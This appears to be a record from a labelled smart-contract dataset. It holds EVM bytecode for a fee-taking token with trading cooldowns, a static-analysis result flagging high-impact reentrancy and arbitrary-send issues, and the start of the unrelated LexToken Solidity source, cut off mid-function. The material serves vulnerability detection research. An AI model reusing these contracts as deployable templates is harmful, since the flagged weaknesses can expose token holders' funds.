34801561068057600080fd5b50610689611004565b604051610696919061346d565b60405180910390f35b3480156106ab57600080fd5b506106b461102e565b005b3480156106c257600080fd5b506106cb61111a565b6040516106d89190613753565b60405180910390f35b3480156106ed57600080fd5b506107086004803603810190610703919061302c565b611124565b6040516107159190613753565b60405180910390f35b34801561072a57600080fd5b506107336111ab565b005b34801561074157600080fd5b5061074a61126f565b005b34801561075857600080fd5b50610761611376565b005b60606040518060400160405280600c81526020017f4e696e6a7574737520496e750000000000000000000000000000000000000000815250905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107e161188f565b73ffffffffffffffffffffffffffffffffffffffff161461080157600080fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516108939190613488565b60405180910390a150565b6000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006108dc6108d561188f565b8484611897565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610904848484611a62565b6109c58461091061188f565b6109c085604051806060016040528060288152602001613e8c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061097661188f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123809092919063ffffffff16565b611897565b600190509392505050565b6000600954905090565b6000601460179054906101000a900460ff16905090565b60006009905090565b6000610a0530610c9f565b905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a4b61188f565b73ffffffffffffffffffffffffffffffffffffffff1614610a6b57600080fd5b6000601460186101000a81548160ff0219169083151502179055507fa0332a09ed075cc53786280bd769d2ddaeb0dab224287b246f7b8753f1fe835f601460189054906101000a900460ff16604051610ac49190613556565b60405180910390a1565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b0f61188f565b73ffffffffffffffffffffffffffffffffffffffff1614610b2f57600080fd5b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610bc19190613488565b60405180910390a150565b6000601054905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610c269190613919565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c6e61188f565b73ffffffffffffffffffffffffffffffffffffffff1614610c8e57600080fd5b6000479050610c9c816123e4565b50565b6000610ce9600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124df565b9050919050565b6000610d1d601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c9f565b905090565b610d2a61188f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610db7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dae90613673565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f4e494e4a55545355000000000000000000000000000000000000000000000000815250905090565b60006016544210905090565b6000610efb610ef461188f565b8484611a62565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610f6c9190613919565b9050919050565b6000601460189054906101000a900460ff16905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fcb61188f565b73ffffffffffffffffffffffffffffffffffffffff1614610feb57600080fd5b6000610ff630610c9f565b90506110018161254d565b50565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61103661188f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ba90613673565b60405180910390fd5b60016014806101000a81548160ff0219169083151502179055506078426110ea9190613838565b60158190555061a8c0426110fe9190613838565b601681905550610e10426111129190613838565b600e81905550565b6000600a54905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111ec61188f565b73ffffffffffffffffffffffffffffffffffffffff161461120c57600080fd5b6000601460176101000a81548160ff0219169083151502179055507f875ab13664b130e9f02c6927ebda6944d90a0f0db6c0fdb7cc7ec5f85ed630b8601460179054906101000a900460ff166040516112659190613556565b60405180910390a1565b61127761188f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611304576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fb90613673565b60405180910390fd5b601460159054906101000a900460ff1615601460156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601460159054906101000a900460ff1660405161136c9190613556565b60405180910390a1565b61137e61188f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461140b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140290613673565b60405180910390fd5b60148054906101000a900460ff1615611459576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145090613713565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506114e930601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611897565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561152f57600080fd5b505afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190613003565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115c957600080fd5b505afa1580156115dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116019190613003565b6040518363ffffffff1660e01b815260040161161e9291906134a3565b602060405180830381600087803b15801561163857600080fd5b505af115801561164c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116709190613003565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306116f930610c9f565b600080611704610e75565b426040518863ffffffff1660e01b8152600401611726969594939291906134f5565b6060604051808303818588803b15801561173f57600080fd5b505af1158015611753573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611778919061311c565b5050506729a2241af62c0000600f819055506804e1003b28d9280000601081905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118399291906134cc565b602060405180830381600087803b15801561185357600080fd5b505af1158015611867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061188b91906130f3565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe906136f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611977576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196e906135d3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a559190613753565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac9906136b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3990613593565b60405180910390fd5b60008111611b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7c90613693565b60405180910390fd5b600060019050611b93610e75565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611c015750611bd1610e75565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561227d57601460159054906101000a900460ff1615611d0757600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611d06576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611db25750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611e085750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156120455760066009819055506004600a8190555060148054906101000a900460ff16611e6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6190613733565b60405180910390fd5b426016541115611ed457601054611e92611e8385610c9f565b8461284790919063ffffffff16565b1115611ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eca906136d3565b60405180910390fd5b5b601460159054906101000a900460ff1615611fdb57426015541115611fda57600f54821115611f0257600080fd5b42600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611f86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7d906135f3565b60405180910390fd5b602d42611f939190613838565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff161561204457600f42611ffd9190613838565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061205030610c9f565b9050601460169054906101000a900460ff161580156120bd5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156120d3575060148054906101000a900460ff165b1561227b576001915060066009819055506004600a8190555042600e54111561210657600980819055506006600a819055505b601460159054906101000a900460ff16156121a05742600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541061219f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219690613633565b60405180910390fd5b5b6000811115612261576121fb60646121ed600b546121df601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c9f565b6128a590919063ffffffff16565b61292090919063ffffffff16565b811115612257576122546064612246600b54612238601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c9f565b6128a590919063ffffffff16565b61292090919063ffffffff16565b90505b6122608161254d565b5b6000479050600081111561227957612278476123e4565b5b505b505b601460189054906101000a900460ff1615801561229d57506000600a5414155b156122ab576000600a819055505b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061234c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123645750601460179054906101000a900460ff16155b1561236e57600090505b61237a8484848461296a565b50505050565b60008383111582906123c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123bf9190613571565b60405180910390fd5b50600083856123d79190613919565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61243460028461292090919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245f573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124b060028461292090919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124db573d6000803e3d6000fd5b5050565b6000600754821115612526576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251d906135b3565b60405180910390fd5b6000612530612997565b9050612545818461292090919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156125ab577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156125d95781602001602082028036833780820191505090505b5090503081600081518110612617577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156126b957600080fd5b505afa1580156126cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126f19190613003565b8160018151811061272b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061279230601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611897565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016127f695949392919061376e565b600060405180830381600087803b15801561281057600080fd5b505af1158015612824573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b60008082846128569190613838565b90508381101561289b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289290613613565b60405180910390fd5b8091505092915050565b6000808314156128b8576000905061291a565b600082846128c691906138bf565b90508284826128d5919061388e565b14612915576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290c90613653565b60405180910390fd5b809150505b92915050565b600061296283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129c2565b905092915050565b8061297857612977612a25565b5b612983848484612a68565b8061299157612990612c33565b5b50505050565b60008060006129a4612c47565b915091506129bb818361292090919063ffffffff16565b9250505090565b60008083118290612a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a009190613571565b60405180910390fd5b5060008385612a18919061388e565b9050809150509392505050565b6000600954148015612a3957506000600a54145b15612a4357612a66565b600954600c81905550600a54600d8190555060006009819055506000600a819055505b565b600080600080600080612a7a87612ca9565b955095509550955095509550612ad886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d1190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b6d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bb981612d5b565b612bc38483612e18565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612c209190613753565b60405180910390a3505050505050505050565b600c54600981905550600d54600a81905550565b600080600060075490506000683635c9adc5dea000009050612c7d683635c9adc5dea0000060075461292090919063ffffffff16565b821015612c9c57600754683635c9adc5dea00000935093505050612ca5565b81819350935050505b9091565b6000806000806000806000806000612cc68a600954600a54612e52565b9250925092506000612cd6612997565b90506000806000612ce98e878787612ee8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612d5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612380565b905092915050565b6000612d65612997565b90506000612d7c82846128a590919063ffffffff16565b9050612dd081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e2d82600754612d1190919063ffffffff16565b600781905550612e488160085461284790919063ffffffff16565b6008819055505050565b600080600080612e7e6064612e70888a6128a590919063ffffffff16565b61292090919063ffffffff16565b90506000612ea86064612e9a888b6128a590919063ffffffff16565b61292090919063ffffffff16565b90506000612ed182612ec3858c612d1190919063ffffffff16565b612d1190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612f0185896128a590919063ffffffff16565b90506000612f1886896128a590919063ffffffff16565b90506000612f2f87896128a590919063ffffffff16565b90506000612f5882612f4a8587612d1190919063ffffffff16565b612d1190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612f8081613e46565b92915050565b600081519050612f9581613e46565b92915050565b600081519050612faa81613e5d565b92915050565b600081359050612fbf81613e74565b92915050565b600081519050612fd481613e74565b92915050565b600060208284031215612fec57600080fd5b6000612ffa84828501612f71565b91505092915050565b60006020828403121561301557600080fd5b600061302384828501612f86565b91505092915050565b6000806040838503121561303f57600080fd5b600061304d85828601612f71565b925050602061305e85828601612f71565b9150509250929050565b60008060006060848603121561307d57600080fd5b600061308b86828701612f71565b935050602061309c86828701612f71565b92505060406130ad86828701612fb0565b9150509250925092565b600080604083850312156130ca57600080fd5b60006130d885828601612f71565b92505060206130e985828601612fb0565b9150509250929050565b60006020828403121561310557600080fd5b600061311384828501612f9b565b91505092915050565b60008060006060848603121561313157600080fd5b600061313f86828701612fc5565b935050602061315086828701612fc5565b925050604061316186828701612fc5565b9150509250925092565b60006131778383613192565b60208301905092915050565b61318c816139a2565b82525050565b61319b8161394d565b82525050565b6131aa8161394d565b82525050565b60006131bb826137f3565b6131c58185613816565b93506131d0836137e3565b8060005b838110156132015781516131e8888261316b565b97506131f383613809565b9250506001810190506131d4565b5085935050505092915050565b6132178161395f565b82525050565b613226816139b4565b82525050565b6000613237826137fe565b6132418185613827565b93506132518185602086016139ea565b61325a81613a7b565b840191505092915050565b6000613272602383613827565b915061327d82613a8c565b604082019050919050565b6000613295602a83613827565b91506132a082613adb565b604082019050919050565b60006132b8602283613827565b91506132c382613b2a565b604082019050919050565b60006132db602283613827565b91506132e682613b79565b604082019050919050565b60006132fe601b83613827565b915061330982613bc8565b602082019050919050565b6000613321602383613827565b915061332c82613bf1565b604082019050919050565b6000613344602183613827565b915061334f82613c40565b604082019050919050565b6000613367602083613827565b915061337282613c8f565b602082019050919050565b600061338a602983613827565b915061339582613cb8565b604082019050919050565b60006133ad602583613827565b91506133b882613d07565b604082019050919050565b60006133d0602783613827565b91506133db82613d56565b604082019050919050565b60006133f3602483613827565b91506133fe82613da5565b604082019050919050565b6000613416601783613827565b915061342182613df4565b602082019050919050565b6000613439601883613827565b915061344482613e1d565b602082019050919050565b6134588161398b565b82525050565b61346781613995565b82525050565b600060208201905061348260008301846131a1565b92915050565b600060208201905061349d6000830184613183565b92915050565b60006040820190506134b860008301856131a1565b6134c560208301846131a1565b9392505050565b60006040820190506134e160008301856131a1565b6134ee602083018461344f565b9392505050565b600060c08201905061350a60008301896131a1565b613517602083018861344f565b613524604083018761321d565b613531606083018661321d565b61353e60808301856131a1565b61354b60a083018461344f565b979650505050505050565b600060208201905061356b600083018461320e565b92915050565b6000602082019050818103600083015261358b818461322c565b905092915050565b600060208201905081810360008301526135ac81613265565b9050919050565b600060208201905081810360008301526135cc81613288565b9050919050565b600060208201905081810360008301526135ec816132ab565b9050919050565b6000602082019050818103600083015261360c816132ce565b9050919050565b6000602082019050818103600083015261362c816132f1565b9050919050565b6000602082019050818103600083015261364c81613314565b9050919050565b6000602082019050818103600083015261366c81613337565b9050919050565b6000602082019050818103600083015261368c8161335a565b9050919050565b600060208201905081810360008301526136ac8161337d565b9050919050565b600060208201905081810360008301526136cc816133a0565b9050919050565b600060208201905081810360008301526136ec816133c3565b9050919050565b6000602082019050818103600083015261370c816133e6565b9050919050565b6000602082019050818103600083015261372c81613409565b9050919050565b6000602082019050818103600083015261374c8161342c565b9050919050565b6000602082019050613768600083018461344f565b92915050565b600060a082019050613783600083018861344f565b613790602083018761321d565b81810360408301526137a281866131b0565b90506137b160608301856131a1565b6137be608083018461344f565b9695505050505050565b60006020820190506137dd600083018461345e565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006138438261398b565b915061384e8361398b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561388357613882613a1d565b5b828201905092915050565b60006138998261398b565b91506138a48361398b565b9250826138b4576138b3613a4c565b5b828204905092915050565b60006138ca8261398b565b91506138d58361398b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561390e5761390d613a1d565b5b828202905092915050565b60006139248261398b565b915061392f8361398b565b92508282101561394257613941613a1d565b5b828203905092915050565b60006139588261396b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139ad826139c6565b9050919050565b60006139bf8261398b565b9050919050565b60006139d1826139d8565b9050919050565b60006139e38261396b565b9050919050565b60005b83811015613a085780820151818401526020810190506139ed565b83811115613a17576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f596f752063616e2774206f776e2074686174206d616e7920746f6b656e73206160008201527f74206f6e63652e00000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b613e4f8161394d565b8114613e5a57600080fd5b50565b613e668161395f565b8114613e7157600080fd5b50565b613e7d8161398b565b8114613e8857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207d4350ab3f92731ff62d58f3ab36fc03bcd3d52d41cfa6ecced2d63520a9422164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,995 |
0x94834d19ce56f3f58deab93e09a7b88009bee9ca
|
/*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
DEAR MSG.SENDER(S):
/ LexToken is a project in beta.
// Please audit and use at your own risk.
/// Entry into LexToken shall not create an attorney/client relationship.
//// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
////// presented by LexDAO LLC
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract PausedLexToken {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string[]public offers; // offers made for token redemption - updateable by manager
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
event AddOffer(uint256 index, string terms);
event AmendOffer(uint256 index, string terms);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Redeem(string redemption);
event Transfer(address indexed from, address indexed to, uint256 value);
event UpdateGovernance(address indexed manager, string details);
event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale);
constructor (
address payable _manager,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string memory _details,
string memory _name,
string memory _symbol,
bool _forSale
) {
manager = _manager;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
details = _details;
name = _name;
symbol = _symbol;
forSale = _forSale;
if (_managerSupply > 0) {_mint(_manager, _managerSupply);}
if (_saleSupply > 0) {_mint(address(this), _saleSupply);}
if (_forSale) {require(_saleRate > 0, "_saleRate = 0");}
// eip-2612 permit() pattern:
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
function _approve(address owner, address spender, uint256 value) internal {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function approve(address spender, uint256 value) external returns (bool) {
